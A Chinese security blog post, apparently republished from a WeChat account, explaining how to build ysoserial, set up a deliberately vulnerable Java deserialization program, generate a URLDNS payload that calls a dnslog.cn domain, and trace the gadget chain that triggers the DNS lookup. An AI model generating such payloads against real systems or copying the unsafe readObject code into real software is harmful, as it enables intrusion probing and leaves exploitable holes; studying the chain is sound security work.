ysoserial链接:
下载地址: https://github.com/frohoff/ysoserial
这里用jdk1.8来编译
01
编译ysoserial
下载好后进入GeneratePayload这个类
进行run,若出现报错可能对应的jar包的版本不对,删除jar包重新下载。
若运行成功后
按下蓝色小闪电,然后package进行编译打包。
target目录下会显示编译好的jar包。
02
漏洞搭建
建立maven项目:
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class bug {
public static void main(String[] args) throws Exception {
FileInputStream inputStream = new FileInputStream("poc.ser");
ObjectInputStream oi = new ObjectInputStream(inputStream);
oi.readObject();
oi.close();
System.out.println("反序列化完成");
}
}
ps:漏洞环境不太准确,只是把序列化文件读进去,然后进行反序列化而已。
生成恶意poc:在
http://dnslog.cn/
获得临时域名:
0dt3fc.dnslog.cn
ava -jar .ysoserial-0.0.5-all.jar URLDNS "http://0dt3fc.dnslog.cn" > poc.ser
将poc.ser放在漏洞项目根目录运行即可。
注:这里有一个坑点,要是以powershell去生成poc文件会执行报错,需cmd,可参考:
https://gitter.im/frohoff/ysoserial/archives/2017/09/18
03
调试
在URLDNS.java下,作者写了如下利用链:
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
在刚开始会new HashMap(),
接下来会调用会调用putVal方法,putVal作用在于HashMap放入键值,这里调用了hash方法来处理key
值得关注key.hashCode()方法,
当hashcode==-1时会执行hashCode = handler.hashCode(this);(默认值为-1所以这里不用太在意)
这里调用getHostAddress
他会进行dns的查询。
然后就是一些细节:
在Hashmap的readObject
key是从readObject得到的,说明key应该在writeObject被写入了。
WriteObject最后会调用到internalWriteEntries(s)。
从中可看出,key和value都来自table,即HashMap中table的值。
要修改table一般会调用HashMap的put方法,从而调用putVal,这样就会造成dns请求,会和目标机器的混淆。
这里ysoserial 继承抽象类SilentURLStreamHandler类,重写了openConnection和getHostAddress,
可以直接返回NULL,不会有后续的操作,从而不会dns请求。
知道这些我们也可以通过反射来将poc再写一遍,网上大佬们写的很完善了,俺就不班门弄斧了。
参考链接
[1] https://www.yuque.com/pmiaowu/gpy1q8/ygthda
[2] https://baijiahao.baidu.com/s?id=1711619506108128533&wfr=spider&for=pc
[3] https://xz.aliyun.com/t/7157?page=5
原文始发于微信公众号(RainSec):《URLDNS调试那些小事》
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论